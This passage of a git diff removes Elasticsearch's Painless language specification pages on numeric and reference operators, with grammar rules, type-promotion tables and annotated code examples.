-    identity `int 1` -> `int 1`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `y`
-+
-* Unary positive with the `def` type.
-+
-[source,Painless]
-----
-def z = +1; <1>
-int i = +z; <2>
-----
-<1> declare `def z`;
-    identity `int 1` -> `int 1`;
-    implicit cast `int 1` to `def`;
-    store `def` to `z`
-<2> declare `int i`;
-    load from `z` -> `def`;
-    implicit cast `def` to `int 1`;
-    identity `int 1` -> `int 1`;
-    store `int 1` to `i`;
-
-[[unary-negative-operator]]
-==== Unary Negative
-
-Use the `unary negative operator '-'` to NEGATE a numeric type value.
-
-*Errors*
-
-* If the value is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-unary_negative: '-' expression;
-----
-
-*Examples*
-
-* Unary negative with different numeric types.
-+
-[source,Painless]
-----
-int x = -1;  <1>
-long y = -x; <2>
-----
-+
-<1> declare `int x`;
-    negate `int 1` -> `int -1`;
-    store `int -1` to `x`
-<2> declare `long y`;
-    load from `x` -> `int 1`;
-    negate `int -1` -> `int 1`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `y`
-+
-* Unary negative with the `def` type.
-+
-[source,Painless]
-----
-def z = -1; <1>
-int i = -z; <2>
-----
-<1> declare `def z`;
-    negate `int 1` -> `int -1`;
-    implicit cast `int -1` to `def`;
-    store `def` to `z`
-<2> declare `int i`;
-    load from `z` -> `def`;
-    implicit cast `def` to `int -1`;
-    negate `int -1` -> `int 1`;
-    store `int 1` to `i`;
-
-[[bitwise-not-operator]]
-==== Bitwise Not
-
-Use the `bitwise not operator '~'` to NOT each bit in an integer type value
-where a `1-bit` is flipped to a resultant `0-bit` and a `0-bit` is flipped to a
-resultant `1-bit`.
-
-*Errors*
-
-* If the value is a non-integer type.
-
-*Bits*
-
-[options="header",cols="<1,<1"]
-|====
-| original | result
-| 1        | 0
-| 0        | 1
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-bitwise_not: '~' expression;
-----
-
-*Promotion*
-
-[options="header",cols="<1,<1"]
-|====
-| original | promoted
-| byte     | int
-| short    | int
-| char     | int
-| int      | int
-| long     | long
-| def      | def
-|====
-
-*Examples*
-
-* Bitwise not with different numeric types.
-+
-[source,Painless]
-----
-byte b = 1;  <1>
-int i = ~b;  <2>
-long l = ~i; <3>
-----
-+
-<1> declare `byte x`;
-    store `byte 1` to b
-<2> declare `int i`;
-    load from `b` -> `byte 1`;
-    implicit cast `byte 1` to `int 1` -> `int 1`;
-    bitwise not `int 1` -> `int -2`;
-    store `int -2` to `i`
-<3> declare `long l`;
-    load from `i` -> `int -2`;
-    implicit cast `int -2` to `long -2` -> `long -2`;
-    bitwise not `long -2` -> `long 1`;
-    store `long 1` to `l`
-+
-* Bitwise not with the `def` type.
-+
-[source,Painless]
-----
-def d = 1;  <1>
-def e = ~d; <2>
-----
-+
-<1> declare `def d`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `d`;
-<2> declare `def e`;
-    load from `d` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    bitwise not `int 1` -> `int -2`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `e`
-
-[[multiplication-operator]]
-==== Multiplication
-
-Use the `multiplication operator '*'` to MULTIPLY together two numeric type
-values. Rules for resultant overflow and NaN values follow the JVM
-specification.
-
-*Errors*
-
-* If either of the values is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-multiplication: expression '*' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Multiplication with different numeric types.
-+
-[source,Painless]
-----
-int i = 5*4;      <1>
-double d = i*7.0; <2>
-----
-+
-<1> declare `int i`;
-    multiply `int 4` by `int 5` -> `int 20`;
-    store `int 20` in `i`
-<2> declare `double d`;
-    load from `int i` -> `int 20`;
-    promote `int 20` and `double 7.0`: result `double`;
-    implicit cast `int 20` to `double 20.0` -> `double 20.0`;
-    multiply `double 20.0` by `double 7.0` -> `double 140.0`;
-    store `double 140.0` to `d`
-+
-* Multiplication with the `def` type.
-+
-[source,Painless]
-----
-def x = 5*4; <1>
-def y = x*2; <2>
-----
-<1> declare `def x`;
-    multiply `int 5` by `int 4` -> `int 20`;
-    implicit cast `int 20` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 20`;
-    multiply `int 20` by `int 2` -> `int 40`;
-    implicit cast `int 40` to `def` -> `def`;
-    store `def` to `y`
-
-[[division-operator]]
-==== Division
-
-Use the `division operator '/'` to DIVIDE one numeric type value by another.
-Rules for NaN values and division by zero follow the JVM specification. Division
-with integer values drops the remainder of the resultant value.
-
-*Errors*
-
-* If either of the values is a non-numeric type.
-* If a left-hand side integer type value is divided by a right-hand side integer
-  type value of `0`.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-division: expression '/' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Division with different numeric types.
-+
-[source,Painless]
-----
-int i = 29/4;     <1>
-double d = i/7.0; <2>
-----
-+
-<1> declare `int i`;
-    divide `int 29` by `int 4` -> `int 7`;
-    store `int 7` in `i`
-<2> declare `double d`;
-    load from `int i` -> `int 7`;
-    promote `int 7` and `double 7.0`: result `double`;
-    implicit cast `int 7` to `double 7.0` -> `double 7.0`;
-    divide `double 7.0` by `double 7.0` -> `double 1.0`;
-    store `double 1.0` to `d`
-+
-* Division with the `def` type.
-+
-[source,Painless]
-----
-def x = 5/4; <1>
-def y = x/2; <2>
-----
-<1> declare `def x`;
-    divide `int 5` by `int 4` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    divide `int 1` by `int 2` -> `int 0`;
-    implicit cast `int 0` to `def` -> `def`;
-    store `def` to `y`
-
-[[remainder-operator]]
-==== Remainder
-
-Use the `remainder operator '%'` to calculate the REMAINDER for division
-between two numeric type values.  Rules for NaN values and division by zero follow the JVM
-specification.
-
-*Errors*
-
-* If either of the values is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-remainder: expression '%' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Remainder with different numeric types.
-+
-[source,Painless]
-----
-int i = 29%4;     <1>
-double d = i%7.0; <2>
-----
-+
-<1> declare `int i`;
-    remainder `int 29` by `int 4` -> `int 1`;
-    store `int 7` in `i`
-<2> declare `double d`;
-    load from `int i` -> `int 1`;
-    promote `int 1` and `double 7.0`: result `double`;
-    implicit cast `int 1` to `double 1.0` -> `double 1.0`;
-    remainder `double 1.0` by `double 7.0` -> `double 1.0`;
-    store `double 1.0` to `d`
-+
-* Remainder with the `def` type.
-+
-[source,Painless]
-----
-def x = 5%4; <1>
-def y = x%2; <2>
-----
-<1> declare `def x`;
-    remainder `int 5` by `int 4` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    remainder `int 1` by `int 2` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `y`
-
-[[addition-operator]]
-==== Addition
-
-Use the `addition operator '+'` to ADD together two numeric type values. Rules
-for resultant overflow and NaN values follow the JVM specification.
-
-*Errors*
-
-* If either of the values is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-addition: expression '+' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Addition operator with different numeric types.
-+
-[source,Painless]
-----
-int i = 29+4;     <1>
-double d = i+7.0; <2>
-----
-+
-<1> declare `int i`;
-    add `int 29` and `int 4` -> `int 33`;
-    store `int 33` in `i`
-<2> declare `double d`;
-    load from `int i` -> `int 33`;
-    promote `int 33` and `double 7.0`: result `double`;
-    implicit cast `int 33` to `double 33.0` -> `double 33.0`;
-    add `double 33.0` and `double 7.0` -> `double 40.0`;
-    store `double 40.0` to `d`
-+
-* Addition with the `def` type.
-+
-[source,Painless]
-----
-def x = 5+4; <1>
-def y = x+2; <2>
-----
-<1> declare `def x`;
-    add `int 5` and `int 4` -> `int 9`;
-    implicit cast `int 9` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 9`;
-    add `int 9` and `int 2` -> `int 11`;
-    implicit cast `int 11` to `def` -> `def`;
-    store `def` to `y`
-
-[[subtraction-operator]]
-==== Subtraction
-
-Use the `subtraction operator '-'` to SUBTRACT a right-hand side numeric type
-value from a left-hand side numeric type value.  Rules for resultant overflow
-and NaN values follow the JVM specification.
-
-*Errors*
-
-* If either of the values is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-subtraction: expression '-' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Subtraction with different numeric types.
-+
-[source,Painless]
-----
-int i = 29-4;     <1>
-double d = i-7.5; <2>
-----
-+
-<1> declare `int i`;
-    subtract `int 4` from `int 29` -> `int 25`;
-    store `int 25` in `i`
-<2> declare `double d`
-    load from `int i` -> `int 25`;
-    promote `int 25` and `double 7.5`: result `double`;
-    implicit cast `int 25` to `double 25.0` -> `double 25.0`;
-    subtract `double 33.0` by `double 7.5` -> `double 25.5`;
-    store `double 25.5` to `d`
-+
-* Subtraction with the `def` type.
-+
-[source,Painless]
-----
-def x = 5-4; <1>
-def y = x-2; <2>
-----
-<1> declare `def x`;
-    subtract `int 4` and `int 5` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    subtract `int 2` from `int 1` -> `int -1`;
-    implicit cast `int -1` to `def` -> `def`;
-    store `def` to `y`
-
-[[left-shift-operator]]
-==== Left Shift
-
-Use the `left shift operator '<<'` to SHIFT lower order bits to higher order
-bits in a left-hand side integer type value by the distance specified in a
-right-hand side integer type value.
-
-*Errors*
-
-* If either of the values is a non-integer type.
-* If the right-hand side value cannot be cast to an int type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-left_shift: expression '<<' expression;
-----
-
-*Promotion*
-
-The left-hand side integer type value is promoted as specified in the table
-below. The right-hand side integer type value is always implicitly cast to an
-`int` type value and truncated to the number of bits of the promoted type value.
-
-[options="header",cols="<1,<1"]
-|====
-| original | promoted
-| byte     | int
-| short    | int
-| char     | int
-| int      | int
-| long     | long
-| def      | def
-|====
-
-*Examples*
-
-* Left shift with different integer types.
-+
-[source,Painless]
-----
-int i = 4 << 1;   <1>
-long l = i << 2L; <2>
-----
-+
-<1> declare `int i`;
-    left shift `int 4` by `int 1` -> `int 8`;
-    store `int 8` in `i`
-<2> declare `long l`
-    load from `int i` -> `int 8`;
-    implicit cast `long 2` to `int 2` -> `int 2`;
-    left shift `int 8` by `int 2` -> `int 32`;
-    implicit cast `int 32` to `long 32` -> `long 32`;
-    store `long 32` to `l`
-+
-* Left shift with the `def` type.
-+
-[source,Painless]
-----
-def x = 4 << 2; <1>
-def y = x << 1; <2>
-----
-<1> declare `def x`;
-    left shift `int 4` by `int 2` -> `int 16`;
-    implicit cast `int 16` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 16`;
-    left shift `int 16` by `int 1` -> `int 32`;
-    implicit cast `int 32` to `def` -> `def`;
-    store `def` to `y`
-
-[[right-shift-operator]]
-==== Right Shift
-
-Use the `right shift operator '>>'` to SHIFT higher order bits to lower order
-bits in a left-hand side integer type value by the distance specified in a
-right-hand side integer type value.  The highest order bit of the left-hand side
-integer type value is preserved.
-
-*Errors*
-
-* If either of the values is a non-integer type.
-* If the right-hand side value cannot be cast to an int type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-right_shift: expression '>>' expression;
-----
-
-*Promotion*
-
-The left-hand side integer type value is promoted as specified in the table
-below. The right-hand side integer type value is always implicitly cast to an
-`int` type value and truncated to the number of bits of the promoted type value.
-
-[options="header",cols="<1,<1"]
-|====
-| original | promoted
-| byte     | int
-| short    | int
-| char     | int
-| int      | int
-| long     | long
-| def      | def
-|====
-
-*Examples*
-
-* Right shift with different integer types.
-+
-[source,Painless]
-----
-int i = 32 >> 1;  <1>
-long l = i >> 2L; <2>
-----
-+
-<1> declare `int i`;
-    right shift `int 32` by `int 1` -> `int 16`;
-    store `int 16` in `i`
-<2> declare `long l`
-    load from `int i` -> `int 16`;
-    implicit cast `long 2` to `int 2` -> `int 2`;
-    right shift `int 16` by `int 2` -> `int 4`;
-    implicit cast `int 4` to `long 4` -> `long 4`;
-    store `long 4` to `l`
-+
-* Right shift with the `def` type.
-+
-[source,Painless]
-----
-def x = 16 >> 2; <1>
-def y = x >> 1;  <2>
-----
-<1> declare `def x`;
-    right shift `int 16` by `int 2` -> `int 4`;
-    implicit cast `int 4` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 4`;
-    right shift `int 4` by `int 1` -> `int 2`;
-    implicit cast `int 2` to `def` -> `def`;
-    store `def` to `y`
-
-[[unsigned-right-shift-operator]]
-==== Unsigned Right Shift
-
-Use the `unsigned right shift operator '>>>'` to SHIFT higher order bits to
-lower order bits in a left-hand side integer type value by the distance
-specified in a right-hand side type integer value. The highest order bit of the
-left-hand side integer type value is *not* preserved.
-
-*Errors*
-
-* If either of the values is a non-integer type.
-* If the right-hand side value cannot be cast to an int type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-unsigned_right_shift: expression '>>>' expression;
-----
-
-*Promotion*
-
-The left-hand side integer type value is promoted as specified in the table
-below. The right-hand side integer type value is always implicitly cast to an
-`int` type value and truncated to the number of bits of the promoted type value.
-
-[options="header",cols="<1,<1"]
-|====
-| original | promoted
-| byte     | int
-| short    | int
-| char     | int
-| int      | int
-| long     | long
-| def      | def
-|====
-
-*Examples*
-
-* Unsigned right shift with different integer types.
-+
-[source,Painless]
-----
-int i = -1 >>> 29; <1>
-long l = i >>> 2L; <2>
-----
-+
-<1> declare `int i`;
-    unsigned right shift `int -1` by `int 29` -> `int 7`;
-    store `int 7` in `i`
-<2> declare `long l`
-    load from `int i` -> `int 7`;
-    implicit cast `long 2` to `int 2` -> `int 2`;
-    unsigned right shift `int 7` by `int 2` -> `int 3`;
-    implicit cast `int 3` to `long 3` -> `long 3`;
-    store `long 3` to `l`
-+
-* Unsigned right shift with the `def` type.
-+
-[source,Painless]
-----
-def x = 16 >>> 2; <1>
-def y = x >>> 1;  <2>
-----
-<1> declare `def x`;
-    unsigned right shift `int 16` by `int 2` -> `int 4`;
-    implicit cast `int 4` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 4`;
-    unsigned right shift `int 4` by `int 1` -> `int 2`;
-    implicit cast `int 2` to `def` -> `def`;
-    store `def` to `y`
-
-[[bitwise-and-operator]]
-==== Bitwise And
-
-Use the `bitwise and operator '&'` to AND together each bit within two
-integer type values where if both bits at the same index are `1` the resultant
-bit is `1` and `0` otherwise.
-
-*Errors*
-
-* If either of the values is a non-integer type.
-
-*Bits*
-
-[cols="^1,^1,^1"]
-|====
-|   | 1 | 0
-| 1 | 1 | 0
-| 0 | 0 | 0
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-bitwise_and: expression '&' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | def
-| byte   | int    | int    | int    | int    | long   | def
-| short  | int    | int    | int    | int    | long   | def
-| char   | int    | int    | int    | int    | long   | def
-| int    | int    | int    | int    | int    | long   | def
-| long   | long   | long   | long   | long   | long   | def
-| def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Bitwise and with different integer types.
-+
-[source,Painless]
-----
-int i = 5 & 6;   <1>
-long l = i & 5L; <2>
-----
-+
-<1> declare `int i`;
-    bitwise and `int 5` and `int 6` -> `int 4`;
-    store `int 4` in `i`
-<2> declare `long l`
-    load from `int i` -> `int 4`;
-    promote `int 4` and `long 5`: result `long`;
-    implicit cast `int 4` to `long 4` -> `long 4`;
-    bitwise and `long 4` and `long 5` -> `long 4`;
-    store `long 4` to `l`
-+
-* Bitwise and with the `def` type.
-+
-[source,Painless]
-----
-def x = 15 & 6; <1>
-def y = x & 5;  <2>
-----
-<1> declare `def x`;
-    bitwise and `int 15` and `int 6` -> `int 6`;
-    implicit cast `int 6` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 6`;
-    bitwise and `int 6` and `int 5` -> `int 4`;
-    implicit cast `int 4` to `def` -> `def`;
-    store `def` to `y`
-
-[[bitwise-xor-operator]]
-==== Bitwise Xor
-
-Use the `bitwise xor operator '^'` to XOR together each bit within two integer
-type values where if one bit is a `1` and the other bit is a `0` at the same
-index the resultant bit is `1` otherwise the resultant bit is `0`.
-
-*Errors*
-
-* If either of the values is a non-integer type.
-
-*Bits*
-
-The following table illustrates the resultant bit from the xoring of two bits.
-
-[cols="^1,^1,^1"]
-|====
-|   | 1 | 0
-| 1 | 0 | 1
-| 0 | 1 | 0
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-bitwise_xor: expression '^' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | def
-| byte   | int    | int    | int    | int    | long   | def
-| short  | int    | int    | int    | int    | long   | def
-| char   | int    | int    | int    | int    | long   | def
-| int    | int    | int    | int    | int    | long   | def
-| long   | long   | long   | long   | long   | long   | def
-| def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Bitwise xor with different integer types.
-+
-[source,Painless]
-----
-int i = 5 ^ 6;   <1>
-long l = i ^ 5L; <2>
-----
-+
-<1> declare `int i`;
-    bitwise xor `int 5` and `int 6` -> `int 3`;
-    store `int 3` in `i`
-<2> declare `long l`
-    load from `int i` -> `int 4`;
-    promote `int 3` and `long 5`: result `long`;
-    implicit cast `int 3` to `long 3` -> `long 3`;
-    bitwise xor `long 3` and `long 5` -> `long 6`;
-    store `long 6` to `l`
-+
-* Bitwise xor with the `def` type.
-+
-[source,Painless]
-----
-def x = 15 ^ 6; <1>
-def y = x ^ 5;  <2>
-----
-<1> declare `def x`;
-    bitwise xor `int 15` and `int 6` -> `int 9`;
-    implicit cast `int 9` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 9`;
-    bitwise xor `int 9` and `int 5` -> `int 12`;
-    implicit cast `int 12` to `def` -> `def`;
-    store `def` to `y`
-
-[[bitwise-or-operator]]
-==== Bitwise Or
-
-Use the `bitwise or operator '|'` to OR together each bit within two integer
-type values where if at least one bit is a `1` at the same index the resultant
-bit is `1` otherwise the resultant bit is `0`.
-
-*Errors*
-
-* If either of the values is a non-integer type.
-
-*Bits*
-
-The following table illustrates the resultant bit from the oring of two bits.
-
-[cols="^1,^1,^1"]
-|====
-|   | 1 | 0
-| 1 | 1 | 1
-| 0 | 1 | 0
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-bitwise_or: expression '|' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | def
-| byte   | int    | int    | int    | int    | long   | def
-| short  | int    | int    | int    | int    | long   | def
-| char   | int    | int    | int    | int    | long   | def
-| int    | int    | int    | int    | int    | long   | def
-| long   | long   | long   | long   | long   | long   | def
-| def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Bitwise or with different integer types.
-+
-[source,Painless]
-----
-int i = 5 | 6;   <1>
-long l = i | 8L; <2>
-----
-+
-<1> declare `int i`;
-    bitwise or `int 5` and `int 6` -> `int 7`;
-    store `int 7` in `i`
-<2> declare `long l`
-    load from `int i` -> `int 7`;
-    promote `int 7` and `long 8`: result `long`;
-    implicit cast `int 7` to `long 7` -> `long 7`;
-    bitwise or `long 7` and `long 8` -> `long 15`;
-    store `long 15` to `l`
-+
-* Bitwise or with the `def` type.
-+
-[source,Painless]
-----
-def x = 5 ^ 6; <1>
-def y = x ^ 8; <2>
-----
-<1> declare `def x`;
-    bitwise or `int 5` and `int 6` -> `int 7`;
-    implicit cast `int 7` to `def` -> `def`;
-    store `def` in `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 7`;
-    bitwise or `int 7` and `int 8` -> `int 15`;
-    implicit cast `int 15` to `def` -> `def`;
-    store `def` to `y`
diff --git a/docs/painless/painless-lang-spec/painless-operators-reference.asciidoc b/docs/painless/painless-lang-spec/painless-operators-reference.asciidoc
deleted file mode 100644
index dbdae92b270..00000000000
--- a/docs/painless/painless-lang-spec/painless-operators-reference.asciidoc
+++ /dev/null
@@ -1,774 +0,0 @@
-[[painless-operators-reference]]
-=== Operators: Reference
-
-[[method-call-operator]]
-==== Method Call
-
-Use the `method call operator '()'` to call a member method on a
-<<reference-types, reference type>> value. Implicit
-<<boxing-unboxing, boxing/unboxing>> is evaluated as necessary per argument
-during the method call. When a method call is made on a target `def` type value,
-the parameters and return type value are considered to also be of the `def` type
-and are evaluated at run-time.
-
-An overloaded method is one that shares the same name with two or more methods.
-A method is overloaded based on arity where the same name is re-used for
-multiple methods as long as the number of parameters differs.
-
-*Errors*
-
-* If the reference type value is `null`.
-* If the member method name doesn't exist for a given reference type value.
-* If the number of arguments passed in is different from the number of specified
-  parameters.
-* If the arguments cannot be implicitly cast or implicitly boxed/unboxed to the
-  correct type values for the parameters.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-method_call: '.' ID arguments;
-arguments: '(' (expression (',' expression)*)? ')';
-----
-
-*Examples*
-
-* Method calls on different reference types.
-+
-[source,Painless]
-----
-Map m = new HashMap();                         <1>
-m.put(1, 2);                                   <2>
-int z = m.get(1);                              <3>
-def d = new ArrayList();                       <4>
-d.add(1);                                      <5>
-int i = Integer.parseInt(d.get(0).toString()); <6>
-----
-+
-<1> declare `Map m`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    store `HashMap reference` to `m`
-<2> load from `m` -> `Map reference`;
-    implicit cast `int 1` to `def` -> `def`;
-    implicit cast `int 2` to `def` -> `def`;
-    call `put` on `Map reference` with arguments (`int 1`, `int 2`)
-<3> declare `int z`;
-    load from `m` -> `Map reference`;
-    call `get` on `Map reference` with arguments (`int 1`) -> `def`;
-    implicit cast `def` to `int 2` -> `int 2`;
-    store `int 2` to `z`
-<4> declare `def d`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList` to `def` -> `def`;
-    store `def` to `d`
-<5> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`
-    call `add` on `ArrayList reference` with arguments (`int 1`);
-<6> declare `int i`;
-    load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`
-    call `get` on `ArrayList reference` with arguments (`int 1`) -> `def`;
-    implicit cast `def` to `Integer 1 reference` -> `Integer 1 reference`;
-    call `toString` on `Integer 1 reference` -> `String '1'`;
-    call `parseInt` on `Integer` with arguments (`String '1'`) -> `int 1`;
-    store `int 1` in `i`;
-
-[[field-access-operator]]
-==== Field Access
-
-Use the `field access operator '.'` to store a value to or load a value from a
-<<reference-types, reference type>> member field.
-
-*Errors*
-
-* If the reference type value is `null`.
-* If the member field name doesn't exist for a given reference type value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-field_access: '.' ID;
-----
-
-*Examples*
-
-The examples use the following reference type definition:
-
-[source,Painless]
-----
-name:
-  Example
-
-non-static member fields:
-  * int x
-  * def y
-  * List z
-----
-
-* Field access with the `Example` type.
-+
-[source,Painless]
-----
-Example example = new Example(); <1>
-example.x = 1;                   <2>
-example.y = example.x;           <3>
-example.z = new ArrayList();     <4>
-example.z.add(1);                <5>
-example.x = example.z.get(0);    <6>
-----
-+
-<1> declare `Example example`;
-    allocate `Example` instance -> `Example reference`;
-    store `Example reference` to `example`
-<2> load from `example` -> `Example reference`;
-    store `int 1` to `x` of `Example reference`
-<3> load from `example` -> `Example reference @0`;
-    load from `example` -> `Example reference @1`;
-    load from `x` of `Example reference @1` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `y` of `Example reference @0`;
-    (note `Example reference @0` and `Example reference @1` are the same)
-<4> load from `example` -> `Example reference`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `z` of `Example reference`
-<5> load from `example` -> `Example reference`;
-    load from `z` of `Example reference` -> `List reference`;
-    call `add` on `List reference` with arguments (`int 1`)
-<6> load from `example` -> `Example reference @0`;
-    load from `example` -> `Example reference @1`;
-    load from `z` of `Example reference @1` -> `List reference`;
-    call `get` on `List reference` with arguments (`int 0`) -> `int 1`;
-    store `int 1` in `x` of `List reference @0`;
-    (note `Example reference @0` and `Example reference @1` are the same)
-
-[[null-safe-operator]]
-==== Null Safe
-
-Use the `null safe operator '?.'` instead of the method call operator or field
-access operator to ensure a reference type value is `non-null` before
-a method call or field access. A `null` value will be returned if the reference
-type value is `null`, otherwise the method call or field access is evaluated.
-
-*Errors*
-
-* If the method call return type value or the field access type value is not
-  a reference type value and is not implicitly castable to a reference type
-  value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-null_safe: null_safe_method_call
-         | null_safe_field_access
-         ;
-
-null_safe_method_call: '?.' ID arguments;
-arguments: '(' (expression (',' expression)*)? ')';
-
-null_safe_field_access: '?.' ID;
-----
-
-*Examples*
-
-The examples use the following reference type definition:
-
-[source,Painless]
-----
-name:
-  Example
-
-non-static member methods:
-  * List factory()
-
-non-static member fields:
-  * List x
-----
-
-* Null safe without a `null` value.
-+
-[source,Painless]
-----
-Example example = new Example(); <1>
-List x = example?.factory();     <2>
-----
-+
-<1> declare `Example example`;
-    allocate `Example` instance -> `Example reference`;
-    store `Example reference` to `example`
-<2> declare `List x`;
-    load from `example` -> `Example reference`;
-    null safe call `factory` on `Example reference` -> `List reference`;
-    store `List reference` to `x`;
-+
-* Null safe with a `null` value;
-+
-[source,Painless]
-----
-Example example = null; <1>
-List x = example?.x;    <2>
-----
-<1> declare `Example example`;
-    store `null` to `example`
-<2> declare `List x`;
-    load from `example` -> `Example reference`;
-    null safe access `x` on `Example reference` -> `null`;
-    store `null` to `x`;
-    (note the *null safe operator* returned `null` because `example` is `null`)
-
-[[list-initialization-operator]]
-==== List Initialization
-
-Use the `list initialization operator '[]'` to allocate an `List` type instance
-to the heap with a set of pre-defined values. Each value used to initialize the
-`List` type instance is cast to a `def` type value upon insertion into the
-`List` type instance using the `add` method. The order of the specified values
-is maintained.
-
-*Grammar*
-
-[source,ANTLR4]
-----
